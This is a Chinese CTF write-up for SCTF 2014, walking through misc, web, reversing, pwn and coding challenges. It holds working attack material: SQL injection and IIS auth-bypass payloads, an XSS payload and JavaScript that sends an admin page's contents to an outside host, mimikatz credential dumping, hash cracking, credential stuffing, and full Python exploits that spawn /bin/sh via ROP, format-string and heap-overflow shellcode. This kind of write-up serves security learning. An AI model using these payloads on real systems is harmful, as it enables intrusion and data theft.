SCTF Writeup

2014-12-09 40,186

sctf_writeup_01

Misc10

手持两把锟斤拷,口中疾呼烫烫烫
下联是什么呢?
Score: 10
Ratio: 8/659
Remain: 0/30

sctf_writeup_02

百度得知 http://www.zhihu.com/question/19909094/answer/28933117

手持两把锟斤拷,口中疾呼烫烫烫
脚踏千朵屯屯屯,笑看万物锘锘锘  (X)
脚踏千朵屯屯屯,笑看万物锘锘锘 (√)

注意中文符号。

misc10

Misc100

简单的贪吃蛇,吃到30分它就告诉你flag!但是要怎么控制它呢? Download
Score: 100
Ratio: 0/659
Remain: 0/30

 

对bin文件进行分析,发现在主框架中通过signal函数注册了几个信号,其中’2’,’4’,’6’,’8’分别用于控制下、左、上、右四个方向,SIGALRM用于处理游戏的主要业务逻辑。至于SIGTRAP,则是在handler里面留了个个int 3的断点,简单的反调试罢了,SIGTRAP的信号处理逻辑为直接执行一个空函数。

misc100

所以我们可以写一个程序,通过发送信号的方式来控制按键。Linux下C语言可以使用kill函数对指定的pid发送信号,而pid则可以通过执行命令得到(ps/grep/awk),为了完美接收键盘控制信息,我这里使用了curses来接收按键操作,这样直接按方向键就好了。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <curses.h>
#include <sys/types.h>
#include <signal.h>
 
int getPid()
{
    FILE *fp = NULL;
    fp = popen("ps -e|grep \'snake\'|awk \'{print $1}\'", "r");
    int pid = -1;
    if (EOF == fscanf(fp, "%d", &pid)) pid = -1;
    pclose(fp);
    return pid;
}
 
int main(int argc, char** argv)
{
    int ch;
    int pid = -1;
 
    while (pid == -1) pid = getPid();
    printf("pid = %d\n", pid);
    initscr();
    cbreak();
    noecho();
    keypad(stdscr, true);
    while (1)
    {
        ch = getch();
        if (ch == KEY_UP) ch = '8';
        else if (ch == KEY_DOWN) ch = '2';
        else if (ch == KEY_LEFT) ch = '4';
        else if (ch == KEY_RIGHT) ch = '6';
        kill(pid, ch);
    }
    endwin();
 
    return 0;
}
/*
    g++ -o ctrl ctrl.cpp -lncurses
    U0NURntzMWduNGxfMXNfZnVubnk6KX0=
    SCTF{s1gn4l_1s_funny:)}
*/

 

MISC200

二次元的萌妹子,你肯定会喜欢的! Download
Score: 200
Ratio: 0/659
Remain: 0/30

2014-12-07 15:12:35 [Misc200更新] Misc200文件更新了,完善了题目,方法没变

A-Cup的妹子,你肯定看腻了。我们换一个C-cup
题目的做法没有改变,只是之前的题有另类解法,所以完善了题目。
Download
tips:密钥即为文件名
Score: 200
Ratio: 9/659
Remain: 0/30

 

sctf_writeup_04

下载得到一个压缩包,里面有张图片,丢hex工具查看。sctf_writeup_05发现存在zip压缩包,于是用foremost分离得到以下文件

sctf_writeup_06

第一天时zip存在解压密码,3.jpg用stegdetect发现jphide隐写,尝试无果,直接到第二天出现新提示。

tips:密钥即为文件名

于是尝试用mp3stego,sctf解压4.zip发现不成功,猜想其他解法。查阅资料发现zip伪加密。

sctf_writeup_07

这是一个无密码的zip文件

sctf_writeup_08

这是本题的zip,可以发现在

sctf_writeup_09

存在区别,于是尝试把01->00,再尝试打开,没有提示输入密码成功解压得到mp3stego。

用mp3stego工具对文件进行解密。

sctf_writeup_10

此处密码为sctf(最初jpg的文件名)。

得到

sctf_writeup_11

玩过MC的一看端口便知道这是minecraft开放的端口,下面应该就是flag的坐标。

附图:

sctf_writeup_12

 

Misc300

内网攻击数据包分析
FLAG格式: SCTF{syclover用户的明文} Download
Score: 300
Ratio: 35/659
Remain: 0/30

下载后发现这个包很小,主要关注到smb协议的数据包。按照题目的意思,需要获取到syclover的明文密码,这应该就是一个内网的smb劫持攻击了,查看了smb包里面的challenge值确实也是1122334455667788

sctf_writeup_13

抓到hash是:

LMHASH:9e94258a03356914b15929fa1d2e290fab9c8f9f01999448

NTHASH:013f3cb06ba848f98a6ae6cb4a76477c5ba4e45cda73b475

去下载了个16G的彩虹表。

开始halflmchall hash攻击。

使用工具rcracki_mt先猜解前几位(不区分大小写)很快破解出结果

sctf_writeup_14

前七位:NETLMIS

接下来继续使用破解出来的字符串做种子破解整个密码,使用到john-ntlm.pl,

现将hash保存成如下格式:

syclover::ROOT-53DD5427BC:013f3cb06ba848f98a6ae6cb4a76477c5ba4e45cda73b475:9e94258a03356914b15929fa1d2e290fab9c8f9f01999448:1122334455667788

执行:

./john-netntlm.pl  --seed "NETLMIS" --file /tmp/1.txt

得到最终的用户密码为:

NetLMis666

那么FLAG:

SCTF{NetLMis666}

本解题方法大量参考看雪某文章,原帖贴出:

http://bbs.pediy.com/showthread.php?p=1203990

 

Misc400a

这是捕获的黑客攻击数据包,LateRain用户的密码在此次攻击中泄露了,你能找到吗?
FLAG格式:SCTF{LateRain的明文密码}
Download
Score: 400
Ratio: 15/659
Remain: 0/30

下载了数据包,发现数据量很多。经过剔除,可以发现里面有少量http包。估计pcap包中大量的tcp数据是为了做炮灰的。

一个http数据包的内容如下:

sctf_writeup_15

明眼人一眼看出这应该是个菜刀的数据包,config.php应该是被入侵后的一句话木马。

整个pcap中大概就几十条http的数据流,一条一条看下来。发现入侵者用winrar打包了一个文件,然后下载了该文件。

用wireshark可以直接提取出该rar文件。

而这是一个加密的rar文件,将菜刀post过去的关键数据base64解密一下,发现使用了该命令打包。

sctf_writeup_16

C:\progra~1\WinRAR\rar a C:\Inetpub\wwwroot\backup\wwwroot.rar C:\Inetpub\wwwroot\backup\1.gif –hpJJBoom

密码就是JJBoom

解开压缩包得到一个1.gif,使用c32asm打开,

sctf_writeup_17

根据文件头MDMP,知道这是一个内存的dump文件

载入到神器mimikatz中

使用两条命令

mimikatz # sekurlsa::minidump 1.dmp

//载入dmp文件

mimikatz # sekurlsa::logonPasswords full

//读取登陆密码

sctf_writeup_18

密码是<TAB><SPACE>。

但是这不是flag。。

因为<TAG><SPACE>后面还有空格。。

要先log,把输出都输出到一个txt里查看。

sctf_writeup_19

FLAG:

SCTF{ <TAB><SPACE>     }

 

PS:本题是赛后才做出来的。我们队没有把这道题做出来,我们队以为又是SMB攻击。(另外最坑爹的是比赛时某位屌丝队友都用foremost拿到了rar还不说)

 

Misc400b

别看妹子了,快做题。 Download
Score: 400
Ratio: 6/659
Remain: 0/30

PT100

gintama.sycsec.com
Score: 100
Ratio: 38/659
Remain: 0/30

sctf_writeup_20

看来是要进入后台拿flag。

sctf_writeup_21

后台可以很快猜出来,但是有个基础认证。

Cy大屌说他好像在哪里看到过iis+php可以绕过基础认证。

So我百度了一下,找到了相关的文章。成功绕过验证。

Microsoft IIS 6.0 with PHP installed Authentication Bypass
http://www.exploit-db.com/exploits/19033/

访问

http://gintama.sycsec.com/admin::$INDEX_ALLOCATION/index.php

sctf_writeup_22

接下来是一个不同寻常的注入点,利用的是false注入,在exploitdb上有相关的文章(PS:貌似是完全一样的代码哦,学习了。)

Referer:

http://www.exploit-db.com/papers/18263/

简单描述

表结构

/*

create database injection_db;

use injection_db;

create table users(num int not null, id varchar(30) not null, password varchar(30) not null, primary key(num));

 

insert into users values(1, 'admin', 'ad1234');

insert into users values(2, 'wh1ant', 'wh1234');

insert into users values(3, 'secuholic', 'se1234');

 

*** login.php ***

*/

 

mysql> select * from users;

+-----+-----------+----------+

| num | id        | password |

+-----+-----------+----------+

|   1 | admin     | ad1234   |

|   2 | wh1ant    | wh1234   |

|   3 | secuholic | se1234   |

+-----+-----------+----------+

3 rows in set (0.01 sec)

mysql> select * from users where id='';

Empty set (0.00 sec)

mysql> select * from users where id=0;

+-----+-----------+----------+

| num | id        | password |

+-----+-----------+----------+

|   1 | admin     | ad1234   |

|   2 | wh1ant    | wh1234   |

|   3 | secuholic | se1234   |

+-----+-----------+----------+

3 rows in set (0.00 sec)

 

 

Id=0时可以列出所有的记录。

而注入点的语句是:

Select * from users where id=’+input+’ and password=’+input+’;

构造输入id=’-0%23&password=123456

因为mysql的强制转换特性,该语句被这样理解了。

Select * from where id=’’-0# and password=’123456’;

Select * from users where id=(0-0)#

select * from users where id=0

那么就id里面输入'-0# 密码随便写

Payload:

http://gintama.sycsec.com//admin::$INDEX_ALLOCATION/index.php?id=%27%3D0%23&password=123456#&password=123456

 

成功拿到flag。

Flag: SCTF{Bypass_Auth_aNd_Easy_SQLi}

sctf_writeup_23

 

PT200

kali.sycsec.com
我们不是来要0DAY的,其实已经有公开的方法来bypass.
tips:XSS+MySQL error-based PS:建议参赛人员使用最新版chrome测试
Score: 200
Ratio: 0/659
Remain: 0/30

 

有tip就是好,不用绕弯路了。

毕竟我们队友CTF专业空气队员@P总,直接给了我一个xss的payload。

首页查看源代码可以看到一个输出的测试页面。

<!--index.php?name=xss-->

kali_sctf_writeup

然后~

sctf_writeup_23

Payload:<link rel=import href=http://test.com/test.php>

sctf_writeup_24

Test.php的代码是

<?php

header("Access-Control-Allow-Origin:*");

?>

<script>alert(1)</script>

 

马上开始打管理员的cookie。

http://kali.sycsec.com/post.php,这是一个留言板。

直接输入

<link rel=import href=http://test.com/test.php>

找了个xss平台,修改代码,提交,多输入几次打到了cookie。

sctf_writeup_25

不知道是成信院哪位大牛的电脑呢~

拿到了后台地址,挂上cookie,登陆。

发现居然403了。

sctf_writeup_26

猜测是IP限制,又试了一下ip伪造。

结果。。

sctf_writeup_27

好吧。。

想到写(zhao)了个js获取管理员页面的内容。

Js内容如下:

//构建xhrrequest包

function createXHR () {

var request = false;

if (window.XMLHttpRequest) {

    request = new XMLHttpRequest();

    if (request.overrideMimeType) {

        request.overrideMimeType('text/xml');

    }

} else if (window.ActiveXObject) {

     var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP',  'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0',  'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0',  'MSXML2.XMLHTTP'];

    for (var i = 0; i < versions.length; i++) {

        try {

            request = new ActiveXObject(versions);

        } catch (e) {}

    }

}

return request;

}

//get方式

function get (xhr, url) {

    xhr.open("GET", url, false);

    xhr.send();

 

    return xhr.responseText;

}

 

var xhr = createXHR();

var x = get(xhr,'http://kali.sycsec.com/ebcb6eb2004d1f4086ef87cdf5d678c3/');

get(xhr,"http://test/login.php?key="+escape(x));

 

其中login.php是用于把传回的代码写入我本地的一个文件中。

返回结果如下:

sctf_writeup_28

根据题目的tip,这应该是一个报错注入。

使用了网络上的几个老的报错注入的payload,结果都没成功。(主办方自己写了一个过滤脚本)

 

一些新型的报错注入payload又出现各种问题(我本机测试可以用的,服务器就不能用;服务器可以用的,我本机不能测试成功,因为主办方服务器mysql版本为5.1,我本机为5.6)

最终使用payload如下:

http://kali.sycsec.com/ebcb6eb2004d1f4086ef87cdf5d678c3/flag.php?id=1  and (select 1 from (select count(*),concat((select thisisflag from flag  limit 0,1),left(rand(),3))x from information_schema.tables group by x)  as yinfu)

过程不表,flag在当前库的flag表下thisisflag字段下。

修改js,给管理员发留言。

得到返回:

sctf_writeup_29

FLAG:SCTF{x55_And_SqLinject}

PS:

报错注入payload大全:http://blackfan.ru/mysql_game_v2/

 

PT300

Do you have 0day?
Hint: Code Audit
modx.sycsec.com
Score: 300
Ratio: 4/659
Remain: 0/30

题目给了个 modx 的地址:modx.sycsec.com,其中 modx 在 PT400 的 idc 中 download 目录有下载。题目提示是代码审计,看到 PKAV 分分钟搞定心慌啊。
idc 上有三个版本,我选择了最新的版本审计,最后发现找错了,是 1.0.8。
打开题目中的地址,从 robots.txt 中发现了 /flag/flag.txt,第一反应是文件包含。在 expdb 上搜索 modx 的 LFI 无果,决定自己审计。
首先在本地搭建环境,find . -name "*.php" | xargs grep include找到含有 include 的文件。鬼使神差的从 index-ajax.php 开始跟(没想到跟对了)。sctf_writeup_30获取了用户输入的 q 参数,然后进行包含。阅读代码发现需要在 assets/snippets 目录下,再次目录下查找有包含的 php,发现/ajaxSearch/ajaxSearchPopup.php存在包含:sctf_writeup_31如果 POST 了 ucfg,如果开头为@FILE:就包含用户提交的 ucfg。构造 payload:

q=assets/snippets/ajaxSearch/ajaxSearchPopup.php&as_version=1.9.2&ucfg=%26config%3D%60@FILE:flag%2fflag.txt%60&search=123

POST 到 index-ajax.php 得到 flag。

sctf_writeup_32

SCTF{0day_15_s0_good} {"res":"

There were no search results. Please try using more general terms to get more results.

","resnb":"0,0","ctgnm":"","ctgnb":""}

 

PT400

Plz hack into this Blog!
http://blog.sycsec.com/fc0ea94c722b1fd7f9257f3087ac45d1/
Hint:SQLi -> XSS
Score: 400
Ratio: 3/659
Remain: 0/30

渗透一个 WordPress 的博客。wpscan 扫了下没有插件主题,官方也说不是爆破口令。

在页面尾部发现自豪的采用了 SYC SERVICE,打开后是http://idc.sycsec.com/
发现 page 疑似注入,bug 反馈疑似 XSS。第一天没搞定,第二天官方提示 SQLi -> XSS。这个神脑洞o~o...
page 注入通过把空格替换成 %0a 绕过,然后提交 payload:

http://idc.sycsec.com/?page=1%0aunion%0aselect%0a0x3c736372697074207372633d687474703a2f2f7873732e72652f353233323e3c2f7363726970743e

获得后台地址:

sctf_writeup_33

然后通过注入得到管理员的账号和密码:

http://idc.sycsec.com/?page=-1%0aunion%0aselect%0aconcat(UserPass,0x3b,UserName,0x3b,IsAdmin)from%0aadministrators123%0alimit%0a0,1%23

查看源码 得89479a64d0965246c032d813efd7d360;administratoroot;1

somd5_sctf

 

管理员的 md5 搜一下得到:rootadministrator123,登陆后跳到 upload.php。
这里的上传的图片有一个过滤,当图片包含<?的时候,对,你没有看错,有<?的时候,张全蛋(英文名Michael Jack,法文名Hélodie Jaqueline)就会出现。不过很容易的,PHP 也可以通过<script language=php>phpinfo();</script>来执行。直接上传一句话,%00 截断之后得到地址,菜刀连接就好,轻车熟路

sctf_writeup_34

根目录下发现 WordPress 的源码,目测这个源码留了后门。下载下来 diff 一下,果然:

sctf_writeup_35

数了数这是 6 个字符,那就是assert了,写了个脚本来爆破..

sctf_writeup_36

这个脚本真是醉了..不过跑出来就行。跑了一堆,随便选一个:Q0C6S1E
然后再写一个脚本中转:

sctf_writeup_37

运行后连接一句话,在数据库里找到 flag:

sctf_writeup_38

 

PT500

渗透进三叶草花卉公司,寻找一个名为torrent的文件 公司网址:corp.sycsec.com
Score: 500
Ratio: 4/659
Remain: 0/30

渗透题最爱。在 http://corp.sycsec.com/ 搜集各种信息。

http://corp.sycsec.com/news.html  页面信息量很大
SYC083
<!-- 你一定是DiaoSi程序员吧,否则怎么会找到这里,妹子的邮箱是 happy_net@163.com -->
Email: happy_net@163.com/SYC083
6603号寝室 刘明(工号 SYC071) 
Domain: file.sycsec.com
Domain: report-man.sycsec.com

查找一下社工裤找到密码为:971989823,接着登陆进去。

只有一个上传,我还以为能 getshell,后来发现想多了。

sycsec_syc083

<script>alert('l.lol upload success.');window.location='index.php';</script>

 

卡了一会脑洞一开,想起来文件名可以注入。试了试果然,写了个脚本跑出来所有的用户数据。脚本如下:

sctf_writeup_39

用户数据如下:

sctf_writeup_40

之后又卡住了..不过机会总会来的,想起以前做渗透的时候经常社工公司邮箱,而且这里的人的邮箱也是@sycsec.com的,所以顺手打了个 mail.sycsec.com,成功访问。

经过撞库登陆成功 SYC081 和 SYC042 的账号。

xiaoxi@sycsec.com 19930221
liuming@sycsec.com liuming123

mail.sycsec.com_secpulse

 

邮件内容挺逗的 胖编发出来玩玩:

发件人:老板 [boss@sycsec.com]
时间: 2014-12-01
===================================
小夕,上个月表现的不错,这个月也要好好努力呀!
如果这个月能表现的更好,我就给你加薪哟 :)


回复:
===================================
嗯嗯嗯,谢谢老板,我这个月保证不会迟到10次的



发件人:Information Tech [IT@sycsec.com]
时间: 2014-11-25
===================================
通知:
我们的VPN系统出现了问题,现在换成了旧版本系统,可能操作不太方便
但是大家先暂时忍受一下,我们会即使处理该问题的,谢谢合作

Information Tech
Do not Reply



发件人:爸爸 [yourfather@aol.com]
时间: 2014-11-23
===================================
小夕,家里出事了,你妈妈生病了,现在卧病在床,急需资金
速汇款到 6678789768123746583

回复:
===================================
你是逗B吗?
我家里会缺钱?
信不信我用钱砸死你,哼。。


发件人:刘得滑 [liudehua@sycsec.com]
时间: 2014-11-22
===================================
小夕,我是德华哥哟,我的手机前几天掉了,昨天才买了个肾6,我把你的号码忘了,重新发给我嘛

回复:
===================================
额,我不记得我以前给过你号码啊。。。
想要骗我给你号码?Too young too simple
( *・ω・)✄╰ひ╯



发件人:Information Tech [IT@sycsec.com]
时间: 2014-11-20
===================================
通知:
最近文件共享服务器受到源于内部的暴力破解攻击,现在未确定攻击者
请大家切记把密码改复杂!防止资料泄漏!

Information Tech
Do not Reply


发件人:小七 [xiaoqi@sycsec.com]
时间: 2014-09-22
===================================
夕,这周六就是小美的生日了,你的礼物准备的什么啊?

回复
===================================
小美妹子么,看姐姐送她一包辣条压压惊:)



发件人:Information Tech [IT@sycsec.com]
时间: 2014-09-01
===================================
通知:
公司VPN地址:vpn.sycsec.com
默认用户名:工号 (如:SYC001)
默认登录密码:工号 + 生日 (如:工号为SYC001,生日为19900101的用户,密码为:SYC001900101)

Information Tech
Do not Reply



在邮件里得到 VPN 的地址和密码组成。

通知:
公司VPN地址:vpn.sycsec.com
默认用户名:工号 (如:SYC001)
默认登录密码:工号 + 生日 (如:工号为SYC001,生日为19900101的用户,密码为:SYC001900101)

在 SYC081 得到提示小美的生日,爆破了一下出生年份,最后进入 VPN 系统。

sctf_writeup_41

http://vpn.sycsec.com/login.php
SYC079
SYC079940927

接着利用 VPN 访问内网的file.sycsec.com,发现域名不能访问,改为 IP 即可。

Ping file.sycsec.com [10.24.13.37]
这题的坑点在于,存在一个 .svn 目录让人遐想联翩,login.php 又让人登陆。不过我试了试都不行,然后爆破了下目录..发现存在 files 目录...
想到了爆破备份文件,没找到,又尝试了下用户名,依然 GG。最后没辙了爆破了下工号,发现是 403。

sctf_writeup_42

嗯,写脚本跑www

import requests
headers = {
    'Cookie': 'PHPSESSID=cfefaa8e1d72885a3de880a9c9c55337'
}
url = 'http://vpn.sycsec.com/curl.php'
url_2 = 'http://10.24.13.37/files/'
data = {
    'option': 'GET',
    'url': '',
    'cookie': '',
    'post': '',
}
for i in range(0,84):
    data['url'] = '%sSYC0%02d/' % (url_2, i)
    print 'Forbidden' in requests.post(url, headers=headers, data=data).content, i

sctf_writeup_43

最后在 SYC007 处得到 flag。

http://10.24.13.37/files/SYC007/torrent

sctf_writeup_44

得到flag:SCTF{FuNny_Pene7ration_Test}

 

 

RE50

听说逆向都挺难的,这里有个简单的,快来秒~~~ 😀
Download
Score: 50
Ratio: 66/659
Remain: 0/30
sctf_writeup_45

如图,将输入的字符串每位加3后作比较

s=“6duFg3rJ”[::-1]

for i in s:

print chr(ord(i)-3),

 

脑补一个‘k’

Flag=SCTF{Go0dCra3k}

 

RE200

这个FLAG有点怪,格式是xctf{*****}
Hint:反调试、关键点在init段
Download
Score: 400
Ratio: 2/659
Remain: 0/30

下载下来是个APK文件。解压,Dex2jar反编译,得到源码,看MainActivity.java分析关键位置,可以看出func函数返回为真,则可toast出Flag。

于是分析func函数,先解密各个字符串,基本上都是-1,-2,-3简易加密的。

输入的字串,第一次变换是与自己所在的标号异或。第二次变换可能是syc(对应长度为6)和xctf(对应长度为9)两种之一,做了下移位。

第三次变换是对大写字母,小写字母,和除此之外其他情况做了处理,得到的字符串的前11位可以通过解方程得到,GoodCracK3R。

11位之后的数,经过处理后又和a8e5588f7e3f758比较,相等才返回1,总共15位,那肯定是8位输入,对应15或16位,于是把这8位跑了一下,测试了下结果。

和前面的GoodCracK3R结合起来,为"GoodCracK3R;{0jN|B6",然后倒推第二次变换和第一次变换,就可推出KEY

FLAG:xctf{hgJ7Q=|8a\wV;A~}}Wc}

sctf_writeup_46

 

RE300

Download
FLAG格式: SCTF{你获得的字符串}
Hint:三阶魔方 还原步骤
Score: 400
Ratio: 0/659
Remain: 0/30

 

RE500

Download
Hint: LUA虚拟机 Lua字节码 ShellCode
FLAG格式: SCTF{你获得的字符串}
Score: 500
Ratio: 0/659
Remain: 0/30

Pwn200

nc 218.2.197.248 10001
Download
Score: 200
Ratio: 33/659
Remain: 0/30

程序需要两次输入,第一次的输入有一字节的溢出,可以修改第二次输入的长度。

sctf_writeup_47

程序后面有个strlen判断输入长度,用/x00截断即可绕过。经过以一次一字节溢出修改nbytes变量大小,修改后第二次输入出现栈溢出。

sctf_writeup_48

Exp如下:

#coding:utf-8

__author__ = 'Dazdingo'

 

from socket import *

import struct

import time

import threading

import sys

 

is_recv = True

 

sock_host = '192.168.206.130'

sock_port = 8080

 

S = socket(AF_INET, SOCK_STREAM)

 

def send(ss, tail = ''):

  global S
  if tail:
    ss += tail
  print ss
  S.send(ss)

 

def outputrecv():

  global S

  while 1:
    if is_recv:
      i =  S.recv(1024)
      if i:
        sys.stdout.write(i)

 

def start_recv():

  #start recv
  t = threading.Thread(target = outputrecv,  args = ())
  t.daemon = True
  t.start()

 

def get_shell():

  #start recv
  start_recv()

 

  global S

  while 1:
    time.sleep(0.1)
    ss = raw_input() + '\n'
    S.send(ss)

 

 

def main():
  global S


  if len(sys.argv) == 3:
    sock_host = sys.argv[1]
    sock_port = int(sys.argv[2])

 

  S.connect((sock_host, sock_port))


  a = raw_input('pause')
  print S.recv(1024)

 

  send('syclover\x001111111\xf0')

  print S.recv(1024)


  ebp = '\x20\x99\x04\x08'
  libc = '\x5c\x98\x04\x08' #__libc_start_main
  retaddr1 = '\xa0\x83\x04\x08' # write
  retaddr2 = '\xbe\x85\x04\x08' #pop;pop;pop;ret
  pop_ebp_ret = '\xc0\x85\x04\x08'
  retaddr3 = '\x60\x83\x04\x08' # read
  retaddr4 = '\xd2\x85\x04\x08' #leave ret



   send('A'*0x9c + ebp + retaddr1 + retaddr2 + '\x01\x00\x00\x00' + libc +  '\x04\x00\x00\x00' +pop_ebp_ret + ebp + retaddr3 + retaddr4 +  '\x00\x00\x00\x00' + '\x24\x99\x04\x08' + '\xf0\x00\x00\x00' )

  time.sleep(1)
  l = S.recv(1024)

 

  libcaddr = struct.unpack('I', l)[0]
  print '__libc_start_main:',hex(libcaddr)
  system = libcaddr + 0x26050

 

  send(struct.pack('I', system) + 'AAAA'+'\x30\x99\x04\x08' + '/bin/sh\x00')

 

  get_shell()

 

if __name__ == '__main__':

  main()

 

Pwn300

nc 218.2.197.248 10002
have fun~
Hint: /home/pwn2/flag
Download
Score: 300
Ratio: 27/659
Remain: 0/30

在print message里有个格式化字符串漏洞,同时有个把字符串copy到栈里有利于利用。sctf_writeup_49

Exp如下

#coding:utf-8

__author__ = 'Dazdingo'

 

from socket import *

import struct

import time

import threading

import sys

 

is_recv = True

 

sock_host = '192.168.206.130'

sock_port = 8080

 

S = socket(AF_INET, SOCK_STREAM)

 

def send(ss, tail = '', r = False):

  global S

  if tail:

    ss += tail

  print ss

  S.send(ss)

  if r:

    print S.recv(1024)

 

def recv_until(str):

  data = S.recv(1024)

  e = data.find(str)

  while 1:

    if e == -1:

      data = S.recv(1025)

      e = data.find(str)

    else:

      break

 

  return data, e

 

def outputrecv():

  global S

  while 1:

    if is_recv:

      i =  S.recv(1024)

      if i:

        sys.stdout.write(i)

 

def start_recv():

  #start recv

  t = threading.Thread(target = outputrecv,  args = ())

  t.daemon = True

  t.start()

 

def get_shell():

  #start recv

  start_recv()

 

  global S

  while 1:

    time.sleep(0.1)

    ss = raw_input() + '\n'

    S.send(ss)

 

 

def main():

  global S

 

  if len(sys.argv) == 3:

    sock_host = sys.argv[1]

    sock_port = int(sys.argv[2])

 

  S.connect((sock_host, sock_port))

 

  a = raw_input('pause')

  print S.recv(1024)

 

  send('2\n', r = 1)

  send('%279$x\n', r = 1)

  send('3\n')

 

  data, e = recv_until('message is:')

  print data, e

  leak_memory = int(data[e+11:e+19], 16)

 

  send('2\n', r = 1)

  send('%266$x\n', r = 1)

  send('3\n')

 

  data, e = recv_until('message is:')

  print data, e

  ebp = int(data[e+11:e+19], 16)

 

  call_system = leak_memory + 0x25E24

 

  s = hex(call_system)

  print 'call_system, ebp is', s, hex(ebp)

 

  ret_add1  = struct.pack('I', ebp-0x2c)

  ret_add2  = struct.pack('I', ebp-0x2a)

  arg0 = struct.pack('I', ebp-0x24)

  arg1 = struct.pack('I', ebp-0x20)

 

  num_send1 = int(s[6:10], 16)

  num_send2 = int(s[2:6], 16) - num_send1

 

  send('2\n', r = 1)

   send('%16$n%17$n%'+ str(num_send1) + 'x%18$n%' + str(num_send2) +  'x%19$n' + '\x20'*(12-len(str(num_send1))-len(str(num_send2))) + arg0 +  arg1 +ret_add1 +ret_add2 + '\n', r = 1)

  send('3\n', r = 1)

 

  get_shell()

 

 

if __name__ == '__main__':

  main()

 

Pwn400

nc 218.2.197.248 10003
hint:/home/pwn3/flag/flag
Download
Score: 400
Ratio: 14/659
Remain: 0/30

node之间通过双向链表连接起来,show node可以回显node在内存中的地址,edite node可以过界修改一个node的content,从而覆盖next node的头部。类似于堆溢出的利用。程序没有nx,可直接执行shellcode。

sctf_writeup_50

Exp如下

#coding:utf-8

 

from socket import *

import struct

import time

import threading

import sys

 

is_recv = True

 

sock_host = '192.168.206.130'

sock_port = 8080

 

S = socket(AF_INET, SOCK_STREAM)

 

def send(ss, tail = '', recv = False):

  global S

  if tail:

    ss += tail

  print ss

  S.send(ss)

  if recv:

    print S.recv(1024)

 

def outputrecv():

  global S

  while 1:

    if is_recv:

      i =  S.recv(1024)

      if i:

        sys.stdout.write(i)

 

def start_recv():

  #start recv

  t = threading.Thread(target = outputrecv,  args = ())

  t.daemon = True

  t.start()

 

def get_shell():

  #start recv

  start_recv()

 

  global S

  while 1:

    time.sleep(0.1)

    ss = raw_input() + '\n'

    S.send(ss)

 

 

def main():

  global S

 

  if len(sys.argv) == 3:

    sock_host = sys.argv[1]

    sock_port = int(sys.argv[2])

 

  S.connect((sock_host, sock_port))

 

  a = raw_input('pause')

  print S.recv(1024)

 

  #first node

  send('1', recv = True)

  send('111', recv = True)

  send('111', recv = True)

  send('111', recv = True)

  print S.recv(1024)

 

  #second node

  send('1', recv = True)

  send('222', recv = True)

  send('222', recv = True)

  send('222', recv = True)

  print S.recv(1024)

 

  #third node

  send('1', recv = True)

  send('333', recv = True)

  send('333', recv = True)

  send('333', recv = True)

  time.sleep(1)

  print S.recv(1024)

 

  #record first node pointer

  send('3', recv = True)

  send('111')

  data = S.recv(1024)

  print data

  e = data.find('location:')

  while 1:

    if e == -1:

      data = S.recv(1024)

      e = data.find('location:')

    else:

      break

  print e, data[e+9:e+19]

  p_first_node = int(data[e+9:e+19], 16)

 

  #record second node pointer

  send('3', recv = True)

  send('222')

  data = S.recv(1024)

  print data

  e = data.find('location:')

  while 1:

    if e == -1:

      data = S.recv(1024)

      e = data.find('location:')

    else:

      break

  p_second_node = int(data[e+9:e+19], 16)

 

  print 'pointer of first,second node:', hex(p_first_node), hex(p_second_node)

 

  nops = '\x90'* (p_second_node - p_first_node - 108)

  jmp = '\xeb\x06\x90\x90\x90\x90\x90\x90'

  #exec /bin/sh - 43 bytes

  buf =  ""

  buf += "\xdd\xc2\xd9\x74\x24\xf4\x5b\x2b\xc9\xba\x39\x29\xde"

  buf += "\xee\xb1\x0b\x31\x53\x1a\x83\xc3\x04\x03\x53\x16\xe2"

  buf += "\xcc\x43\xd5\xb6\xb7\xc6\x8f\x2e\xea\x85\xc6\x48\x9c"

  buf += "\x66\xaa\xfe\x5c\x11\x63\x9d\x35\x8f\xf2\x82\x97\xa7"

  buf += "\x0d\x45\x17\x38\x21\x27\x7e\x56\x12\xd4\xe8\xa6\x3b"

  buf += "\x49\x61\x47\x0e\xed"

 

  shellcode = jmp+buf

 

  #edite first node

  send('4', recv = True)

  send('111', recv = True)

  send(nops + struct.pack('I', p_second_node) + '\x70\xa4\x04\x08' + struct.pack('I', p_second_node + 0xc) + shellcode) 

 

  #delete node

  send('5', recv = True)

  send(hex(p_second_node)[2:10], recv = True)

 

  get_shell()

 

if __name__ == '__main__':

  main()

 

 Code200

在218.2.197.248:10007运行了一个ATM程序,但是这个ATM有一个特点,每次只能存 2^i(i为偶数)元或者取2^i(i为奇数)元,0<=i<99,且每个i只能使用一次。给出任意一定的金额(正数代表取出,负数代表存 进),怎样操作这个ATM才能满足给定的金额?
eg:
13
4 3 2 0
983
10 5 3 1 0
Score: 200
Ratio: 59/659
Remain: 0/30

题目的意思是:知道一个数,分解为若干(-2)^i的和,i是位数,求i的组合。如

eg1:

202

8 7 6 4 3 2 1

202=(-2)^8+(-2)^7+(-2)^6+(-2)^4+(-2)^3+(-2)^2+(-2)^1

=256-128+64+16-8+4-2

eg2:

515

10 9 2 1 0

515=(-2)^10+(-2)^9+(-2)^2+(-2)^1+(-2)^0

解法与10进制转2进制类似,不过要注意每位的正负不同

代码:

from socket import *

 

HOST='218.2.197.248'

PORT=10007

 

s = socket(AF_INET, SOCK_STREAM)

s.connect((HOST,PORT))

while True:

         input=int(s.recv(1024),10)

         print input

 

         step=0

         ans=''

         list=[]

         while input:

                   if step%2==0:

                            flag=-1

                   else:

                            flag=1

                   if input%2==1:

                            input=input+flag

                            list.append(str(step))

                   #else:

                   input=input/2

                   step=step+1

         list.reverse()

         for i in list:

                  ans=ans+' '+ i

 

         print ans

         s.send(ans)

 

s.close()

 

Code400

哈喽~还记得上次有一群人帮Mallory窃取了Alice转给Bob的钱钱么~
女神Alice为此伤心不已
作为一个好人,plusplus7又决定帮Alice找回这笔钱
机智的少年Mallory使用号称全宇宙最先进的黑科技把钱钱藏了起来,通过plusplus7的掐指一算,得到了一个奇怪的脚本...
look
Score: 400
Ratio: 25/659
Remain: 0/30
 题目所给的原始代码如下:
import json
import hashlib
import os
import base64
from Crypto.Cipher import AES
 
 
fp = open("secret.json", "r")
secret = json.load(fp)
fp.close()
 
